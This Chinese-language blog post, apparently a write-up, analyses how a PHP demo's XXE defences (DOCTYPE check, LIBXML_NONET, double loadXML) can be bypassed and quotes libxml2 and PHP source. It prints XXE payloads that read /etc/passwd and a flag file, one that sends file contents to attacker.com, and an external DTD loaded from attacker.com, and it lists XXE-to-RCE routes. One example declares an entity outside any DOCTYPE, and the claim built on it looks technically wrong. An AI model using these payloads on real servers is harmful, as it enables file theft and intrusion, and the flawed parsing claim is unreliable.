php中不可能的xxe

  • 前言:来自前两天看的一篇国外的文章

简单介绍

  • 一段demo

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    <?php
    ini_set('display_errors', '0');
    $doc = new \DOMDocument();
    $doc->loadXML($_POST['user_input']);

    $xml = $doc->saveXML();
    $doc = new \DOMDocument('1.0', 'UTF-8');
    $doc->loadXML($xml, LIBXML_DTDLOAD | LIBXML_NONET);

    foreach ($doc->childNodes as $child) {
    if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) {
    throw new RuntimeException('Dangerous XML detected');
    }
    }
    ?>
  • 来分析一下这段代码

    • 首先创建了一个DOMDocument对象,这是php用于处理xml的类,接着通过loadXML的方法从用户传入的参数中加载xml内容
    • 接着将刚才加载的xml重新序列化为字符串
    • 然后重新创建一个DOMDocument对象,并且指定了xml的版本以及编码。接着再次加载xml并且携带了两个参数
      • LIBXML_DTDLOAD:允许加载xml中引用的DTD文件
      • LIBXML_NONET:进制通过网络加载外部资源(限制远程DTD或者实体访问,降低外部实体注入的风险)
    • 最后循环检测DOCTYPE 节点 ,遍历xml文档的所有子节点,检查是否存在文档类型节点也就是<!DOCTYPE>声明,如果检测到<!DOCTYPE>,则抛出异常
  • 常见的xxe的payload

    1
    2
    3
    4
    <!DOCTYPE foo [ 
    <!ENTITY test SYSTEM "file:///flag" >
    ]>
    <root>&test;</root>
  • 那么这段代码的整体功能可以总结为:处理用户输入的xml,并试图阻止包含<!DOCTYPE>声明的xml,因为<!DOCTYPE>可能包含外部实体定义,从而导致xml外部实体注入

  • 那么我们如果想绕过这段代码,实现xxe,需要绕过四个地方

    • 第一次加载xml:这一步依赖的是php中libxml的默认配置,也就是默认禁用外部实体加载,在php5.2.1及以上默认开启,这意味着即使xml中包含%x,这类实体引用,也会被直接替换为空字符串,不会解析外部资源

      1
      $doc->loadXML($_POST['user_input']);
    • 第二次加载xml

      1
      $doc->loadXML($xml, LIBXML_DTDLOAD | LIBXML_NONET); 
      • LIBXML_DTDLOAD:允许加载外部实体,但不允许将一个实体插入到另一个实体中,下面的payload没有设置额外的LIBXML_DTDLOAD以及LIBXML_NONET标志就会触发警告,不会创建实体也就无法获取到/etc/passwd文件的内容

        1
        2
        3
        4
        <!ENTITY % data SYSTEM "file:///etc/passwd" >
        <!ENTITY % eval SYSTEM "<!ENTITY &#x25; exf SYSTEM 'http://attacker.com/?data=%data;'>" >
        %eval;
        %exf;
      • LIBXML_NONET:禁止通过网络加载外部资源,也就是切断了通过外部DTD或实体进行攻击的通道

    • DOCTYPE节点的检测:代码通过检测<!DOCTYPE>声明来直接拦截风险

  • payload

    • 解码与解压:DOCTYPE中利用php伪协议先对zlib压缩+base64编码的内容解码、解压、还原内层实体的定义
    • 接着定义实体并进行嵌套
      • 定义%data来读取/ect/passwd,并对文件内容进行一个编码转换
      • 接着利用%exf来引用%data
      • 然后利用%payload实现嵌套定义新实体%e,利用html实体编码绕过对%的限制,并且将文件内容作为参数外传
      • 最后依次触发%payload以及%e,来实现信息泄露

详细分析

  • 接下来对绕过的部分进行详细的分析

绕过<!DOCTYPE>

  • 防御部分的代码

    1
    $child->nodeType === XML_DOCUMENT_TYPE_NODE
  • 这段代码通过检查是否存在<!DOCTYPE>节点来防御xxe,但是这种防御可以被参数实体绕过,因为存在==解析时机差==

    • 参数实体的特性

      • 参数实体以%开头,是xml中的一种特殊实体,他的解析时机早于文档节点结构的检查
      • 当loadXML函数加载xml的时候,会先解析所有实体引用包括参数实体,再构建文档节点树
      • 源代码的nodeType检查是在函数加载xml后进行的,是在遍历已构建的节点树时进行的
    • 绕过:通过参数实体在解析阶段触发恶意操作

      • 即使 XML 中没有<!DOCTYPE>,只要包含参数实体引用(如%malicious;),解析器在loadXML执行时就会尝试解析该实体。
      • 若参数实体定义了外部资源(如),则在nodeType检查前,文件读取等恶意行为已完成
    • 举例

      • 一个不含<!DOCTYPE>到那时包含参数实体的恶意xml

        1
        2
        3
        <?xml version="1.0"?>
        <root>%data;</root>
        <!ENTITY % data SYSTEM "file:///etc/passwd">
      • 解析器会优先处理%data;引用,读取/ect/passwd,再构建节点树。此时上述代码检查nodeType的时候,因为没有检查到存在<!DOCTYPE>节点进行放行,但是此时解析器已经处理完%data引用了

绕过LIBXML_NONET标志限制

  • 前文提到LIBXML_NONET的设计目的是进制xml解析器通过网络加载外部资源,但是由于php底层实现的特性,可以被轻易绕过

    • LIBXML_NONET的设计缺陷

      • libxml2的xmlDefaultExternalEntityLoader函数,这个函数是加载外部实体默认使用的函数

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        // parserInternals.c

        static xmlParserInputPtr
        xmlDefaultExternalEntityLoader(const char *url, const char *ID,
        xmlParserCtxtPtr ctxt)
        {

        // `LIBXML_NONET` flag in PHP, is the same as `XML_PARSE_NONET` flag in libxml2
        if ((ctxt != NULL) && (ctxt->options & XML_PARSE_NONET) &&
        // no-net "protection":
        (xmlStrncasecmp(BAD_CAST url, BAD_CAST "http://", 7) == 0)) { // [1]

        xmlCtxtErrIO(ctxt, XML_IO_NETWORK_ATTEMPT, url);
        } else {
        input = xmlNewInputFromFile(ctxt, url);
        }

        }



        xmlParserInputPtr
        xmlNewInputFromFile(xmlParserCtxtPtr ctxt, const char *filename) {

        code = xmlNewInputFromUrl(filename, flags, &input);

        }

        int
        xmlNewInputFromUrl(const char *filename, int flags, xmlParserInputPtr *out) {

        if (xmlParserInputBufferCreateFilenameValue != NULL) { // [2]
        buf = xmlParserInputBufferCreateFilenameValue(filename,
        XML_CHAR_ENCODING_NONE);
        } else {
        code = xmlParserInputBufferCreateUrl(filename, XML_CHAR_ENCODING_NONE,
        flags, &buf);
        }

        input = xmlNewInputInternal(buf, filename);

      • 可以发现这个标志只对直接以http://开头的URI生效,也就是说这个标志只会拦截类似http://attacker.com这样的请求。如果URI不是以http://直接开头的,即使是外部网络资源,LIBXML_NONET也不会进行拦截

    • php包装器的缺陷

      • php的libxml扩展使用自定义实体加载器php_libxml_input_buffer_create_filename,这个加载器依赖php的流包装器处理资源加载

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        // ext/libxml/libxml

        // sets custom handler implementation
        xmlParserInputBufferCreateFilenameDefault(php_libxml_input_buffer_create_filename);

        static xmlParserInputBufferPtr
        php_libxml_input_buffer_create_filename(const char *URI, xmlCharEncoding enc)
        {

        context = php_libxml_streams_IO_open_read_wrapper(URI);

        ret = xmlAllocParserInputBuffer(enc);
        if (ret != NULL) {
        ret->context = context;
        ret->readcallback = php_libxml_streams_IO_read;
        ret->closecallback = php_libxml_streams_IO_close;
        }

        return(ret);
        }

        static void *php_libxml_streams_IO_open_read_wrapper(const char *filename)
        {
        return php_libxml_streams_IO_open_wrapper(filename, "rb", 1);
        }


        static void *php_libxml_streams_IO_open_wrapper(const char *filename, const char *mode, const int read_only)
        {

        } else {
        resolved_path = (char *)filename;
        }

        php_stream_wrapper *wrapper = php_stream_locate_url_wrapper(resolved_path, &path_to_open, 0);

        php_stream *ret_val = php_stream_open_wrapper_ex(path_to_open, mode, REPORT_ERRORS, NULL, context); // [3]

        return ret_val;
        }
      • PHP 包装器允许通过特殊格式的 URI(如php://filter)访问资源,这种URI不以http://直接开头,会被libxml2误认为 “本地资源”,从而绕过LIBXML_NONET的http://检查

  • 绕过

    • 使用php伪协议加载远程资源实现数据外带

绕过 $xml->loadXML

  • 当调用经典的xxe的payload的时候会失效,原因是

    • 当loadXML不带任何标志时,PHP 的 libxml 解析器默认不解析参数实体引用(如%xxe;)
    • 解析器会保留实体定义(),但会忽略%xxe;这种引用,导致外部 DTD(malicious.dtd)不会被实际加载
    1
    2
    3
    4
    <!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://attacker.com/malicious.dtd"> %xxe;]><x></x>
    最后会变成
    <!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://attacker.com/malicious.dtd">]>
    <x></x>
  • libxml2代码分析

    • 当解析器遇到<!DOCTYPE标签时(CMP9(CUR_PTR, ‘<’, ‘!’, ‘D’, ‘O’, ‘C’, ‘T’, ‘Y’, ‘P’, ‘E’)),会进入xmlParseDocTypeDecl函数处理文档类型声明
    • 在xmlParseDocTypeDecl中,解析器会专门处理SYSTEM关键字后的外部资源 URI(URI = xmlParseExternalID(…)),并将其存储在解析上下文(ctxt->extSubURI)中
    • 这意味着:只要DOCTYPE中存在SYSTEM “URI”,无论是否有参数实体引用,解析器都会识别并记录这个 URI,为后续加载做准备
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    // parserInternals.c

    int
    xmlParseDocument(xmlParserCtxtPtr ctxt) {
    ...
    if (CMP9(CUR_PTR, '<', '!', 'D', 'O', 'C', 'T', 'Y', 'P', 'E')) {
    ctxt->inSubset = 1;
    xmlParseDocTypeDecl(ctxt);
    ...
    if ((ctxt->sax != NULL) && (ctxt->sax->externalSubset != NULL) &&
    (!ctxt->disableSAX))
    ctxt->sax->externalSubset(ctxt->userData, ctxt->intSubName,
    ctxt->extSubSystem, ctxt->extSubURI);

    }
    ...

    void
    xmlParseDocTypeDecl(xmlParserCtxtPtr ctxt) {
    ...
    URI = xmlParseExternalID(ctxt, &ExternalID, 1);
    ...
    ctxt->extSubURI = URI;
    ctxt->extSubSystem = ExternalID;
    ...
    }
  • payload设计

    • 无需参数实体引用:去掉了%xxe;这类需要解析器主动处理的引用,仅通过SYSTEM属性声明外部 DTD 的 URI。此时,无标志的loadXML调用不会修改这个结构
    • 利用第二次loadXML标志:当第二次调用loadXML并带有LIBXML_DTDLOAD标志时,解析器会读取之前存储在ctxt->extSubURI中的 URI,主动加载http://attacker.com/malicious.dtd
    1
    <!DOCTYPE x SYSTEM "http://attacker.com/malicious.dtd" []><x></x>

xxe到rce

  • xxe到rce的常规尝试

    • expect://
    • 通过 cnext 漏洞利用 XXE 到 RCE(iconv 漏洞)
    • 通过PHP 过滤器链实现rce
  • 但是由于各种各样的方法都不适用,但是后续深入研究太长了,这里分享不完,大家自己研究去吧

参考